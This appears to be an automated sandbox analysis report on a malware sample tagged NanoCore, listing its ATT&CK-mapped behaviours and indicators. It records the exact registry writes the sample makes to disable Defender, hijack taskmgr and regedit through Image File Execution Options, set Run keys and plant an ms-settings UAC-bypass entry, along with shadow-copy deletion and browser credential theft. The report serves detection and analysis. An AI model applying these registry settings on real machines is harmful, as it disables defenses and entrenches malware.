nanocore | 8eaa64e15b471e80e784092b2f04969ff87df8139e5d02365c9c1f06a6a692b7

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	atrupharma.co_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4504	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	atrupharma.co_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	atrupharma.co_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3908	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	atrupharma.co_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6172	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	atrupharma.co_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	atrupharma.co_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	atrupharma.co_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5296	wscript.exe
5056	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	atrupharma.co_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4892	sc.exe
2324	sc.exe
676	sc.exe
2520	sc.exe
4240	sc.exe
1288	sc.exe
1444	sc.exe
5180	sc.exe
4328	sc.exe
1720	sc.exe
5260	sc.exe
1016	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4700	cmd.exe
5764	cmd.exe
824	cmd.exe
5648	cmd.exe
4680	cmd.exe
5680	cmd.exe
5372	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5316	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
6280	NETSTAT.EXE
6232	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
6396	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1524	vssadmin.exe
332	vssadmin.exe
5296	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	atrupharma.co_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302802074935266"	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	atrupharma.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	atrupharma.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe\" \"%1\""	atrupharma.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	atrupharma.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	atrupharma.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	atrupharma.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	atrupharma.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	atrupharma.co_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
6596	schtasks.exe
6576	schtasks.exe
4836	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3300	chrome.exe
3300	chrome.exe
4504	powershell.exe
4504	powershell.exe
4504	powershell.exe
704	WMIC.exe
704	WMIC.exe
704	WMIC.exe
704	WMIC.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
5940	WMIC.exe
5940	WMIC.exe
5940	WMIC.exe
5940	WMIC.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
6816	WMIC.exe
6816	WMIC.exe
6816	WMIC.exe
6816	WMIC.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe
4372	atrupharma.co_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4372	atrupharma.co_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeShutdownPrivilege	3300	chrome.exe
Token: SeCreatePagefilePrivilege	3300	chrome.exe
Token: SeIncreaseQuotaPrivilege	704	WMIC.exe
Token: SeSecurityPrivilege	704	WMIC.exe
Token: SeTakeOwnershipPrivilege	704	WMIC.exe
Token: SeLoadDriverPrivilege	704	WMIC.exe
Token: SeSystemProfilePrivilege	704	WMIC.exe
Token: SeSystemtimePrivilege	704	WMIC.exe
Token: SeProfSingleProcessPrivilege	704	WMIC.exe
Token: SeIncBasePriorityPrivilege	704	WMIC.exe
Token: SeCreatePagefilePrivilege	704	WMIC.exe
Token: SeBackupPrivilege	704	WMIC.exe
Token: SeRestorePrivilege	704	WMIC.exe
Token: SeShutdownPrivilege	704	WMIC.exe
Token: SeDebugPrivilege	704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	704	WMIC.exe
Token: SeRemoteShutdownPrivilege	704	WMIC.exe
Token: SeUndockPrivilege	704	WMIC.exe
Token: SeManageVolumePrivilege	704	WMIC.exe
Token: 33	704	WMIC.exe
Token: 34	704	WMIC.exe
Token: 35	704	WMIC.exe
Token: 36	704	WMIC.exe
Token: SeBackupPrivilege	6016	vssvc.exe
Token: SeRestorePrivilege	6016	vssvc.exe
Token: SeAuditPrivilege	6016	vssvc.exe
Token: SeIncreaseQuotaPrivilege	704	WMIC.exe
Token: SeSecurityPrivilege	704	WMIC.exe
Token: SeTakeOwnershipPrivilege	704	WMIC.exe
Token: SeLoadDriverPrivilege	704	WMIC.exe
Token: SeSystemProfilePrivilege	704	WMIC.exe
Token: SeSystemtimePrivilege	704	WMIC.exe
Token: SeProfSingleProcessPrivilege	704	WMIC.exe
Token: SeIncBasePriorityPrivilege	704	WMIC.exe
Token: SeCreatePagefilePrivilege	704	WMIC.exe
Token: SeBackupPrivilege	704	WMIC.exe
Token: SeRestorePrivilege	704	WMIC.exe
Token: SeShutdownPrivilege	704	WMIC.exe
Token: SeDebugPrivilege	704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	704	WMIC.exe
Token: SeRemoteShutdownPrivilege	704	WMIC.exe
Token: SeUndockPrivilege	704	WMIC.exe
Token: SeManageVolumePrivilege	704	WMIC.exe
Token: 33	704	WMIC.exe
Token: 34	704	WMIC.exe
Token: 35	704	WMIC.exe
Token: 36	704	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4504	powershell.exe
Token: SeSecurityPrivilege	4504	powershell.exe
Token: SeTakeOwnershipPrivilege	4504	powershell.exe
Token: SeLoadDriverPrivilege	4504	powershell.exe
Token: SeSystemProfilePrivilege	4504	powershell.exe
Token: SeSystemtimePrivilege	4504	powershell.exe
Token: SeProfSingleProcessPrivilege	4504	powershell.exe
Token: SeIncBasePriorityPrivilege	4504	powershell.exe
Token: SeCreatePagefilePrivilege	4504	powershell.exe
Token: SeBackupPrivilege	4504	powershell.exe
Token: SeRestorePrivilege	4504	powershell.exe
Token: SeShutdownPrivilege	4504	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe
3300	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4372	atrupharma.co_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 3300	4372	atrupharma.co_chrome.exe	89
PID 3300 wrote to memory of 3884	3300	chrome.exe	90
PID 4372 wrote to memory of 4504	4372	atrupharma.co_chrome.exe	91
PID 4372 wrote to memory of 5260	4372	atrupharma.co_chrome.exe	93
PID 3300 wrote to memory of 5316	3300	chrome.exe	95
PID 3300 wrote to memory of 4656	3300	chrome.exe	96
PID 3300 wrote to memory of 4656	3300	chrome.exe	96
PID 3300 wrote to memory of 4876	3300	chrome.exe	98
PID 3300 wrote to memory of 4876	3300	chrome.exe	98
PID 4372 wrote to memory of 1016	4372	atrupharma.co_chrome.exe	186
PID 3300 wrote to memory of 3920	3300	chrome.exe	100
PID 3300 wrote to memory of 3920	3300	chrome.exe	100
PID 3300 wrote to memory of 6024	3300	chrome.exe	101
PID 3300 wrote to memory of 6024	3300	chrome.exe	101
PID 4372 wrote to memory of 1444	4372	atrupharma.co_chrome.exe	103
PID 3300 wrote to memory of 3336	3300	chrome.exe	105
PID 3300 wrote to memory of 3336	3300	chrome.exe	105
PID 4372 wrote to memory of 5180	4372	atrupharma.co_chrome.exe	106
PID 4372 wrote to memory of 4240	4372	atrupharma.co_chrome.exe	108
PID 4372 wrote to memory of 4892	4372	atrupharma.co_chrome.exe	110
PID 4372 wrote to memory of 2324	4372	atrupharma.co_chrome.exe	112
PID 3300 wrote to memory of 5688	3300	chrome.exe	114
PID 3300 wrote to memory of 5688	3300	chrome.exe	114
PID 4372 wrote to memory of 676	4372	atrupharma.co_chrome.exe	115
PID 4372 wrote to memory of 3408	4372	atrupharma.co_chrome.exe	117
PID 4372 wrote to memory of 4328	4372	atrupharma.co_chrome.exe	118
PID 4372 wrote to memory of 2520	4372	atrupharma.co_chrome.exe	120
